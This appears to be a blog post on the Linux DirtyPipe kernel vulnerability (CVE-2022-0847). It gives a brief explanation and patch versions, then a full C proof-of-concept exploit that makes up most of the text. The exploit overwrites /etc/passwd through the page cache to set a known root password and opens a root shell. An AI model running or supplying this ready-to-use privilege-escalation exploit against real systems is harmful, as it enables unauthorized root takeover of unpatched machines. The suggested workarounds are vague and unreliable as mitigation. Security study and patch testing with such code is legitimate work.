Thoughts on DirtyPipe
On February 21, 2022, a critical vulnerability in the Linux kernel, known as DirtyPipe, was disclosed. This vulnerability, identified as CVE-2022-0847, allows unprivileged users to overwrite data in read-only files, potentially leading to privilege escalation. The flaw affects Linux kernel versions 5.8 and later, impacting a broad range of systems and applications.
Similar to the older DirtyCow, this vulnerability is also a lot easier to exploit. The issue arises when the kernel fails to properly initialize certain flags in pipe buffers, allowing an attacker to inject arbitrary data into the page cache. This data can then overwrite read-only files, then leading to unauthorized modifications of system files that control user perms and config.
Any system running a vulnerable version of the kernel may be at risk. Exploitation can result in privilege escalation, root access and full control. Attackers may then execute arbitrary code, install malware, or exfiltrate sensitive data, all while potentially evading detection.
The vulnerability was addressed in Linux kernel versions 5.16.11, 5.15.25, and 5.10.102. Organizations and individuals should prioritize updating their systems to these patched versions. For those unable to update immediately, implementing workarounds such as restricting access to vulnerable files and enforcing strict input validation can provide temporary protection. However, these measures are not foolproof and should not replace the official patch.
Proof of concept
We can test it out using this proof-of-concept (PoC) to overwrite the /etc/passwd file to gain root access. Note, This is for educational purposes only and in a controlled env...
/* ----------------------------------------------------------- *
* ./dirty_pipe.c
* A simple proof of concept for DirtyPipe kernel vulnerability
* use gcc -o dirty_pipe dirty_pipe.c
* ------------------------------------------------------------ */
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int main() {
const char *const path = "/etc/passwd";
printf("Backing up /etc/passwd to /tmp/passwd.bak ...\n");
FILE *f1 = fopen("/etc/passwd", "r");
FILE *f2 = fopen("/tmp/passwd.bak", "w");
if (f1 == NULL) {
printf("Failed to open /etc/passwd\n");
exit(EXIT_FAILURE);
} else if (f2 == NULL) {
printf("Failed to open /tmp/passwd.bak\n");
fclose(f1);
exit(EXIT_FAILURE);
}
char c;
while ((c = fgetc(f1)) != EOF)
fputc(c, f2);
fclose(f1);
fclose(f2);
loff_t offset = 4; // after the "root"
const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n"; // openssl passwd -1 -salt aaron aaron
printf("Setting root password to \"aaron\"...\n");
const size_t data_size = strlen(data);
if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}
/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}
if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}
if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
char *argv[] = {"/bin/sh", "-c", "(echo aaron; cat) | su - -c \""
"echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";"
"cp /tmp/passwd.bak /etc/passwd;"
"echo \\\"Done! Popping shell... (run commands now)\\\";"
"/bin/sh;"
"\" root"};
execv("/bin/sh", argv);
printf("system() function call seems to have failed :(\n");
return EXIT_SUCCESS;
}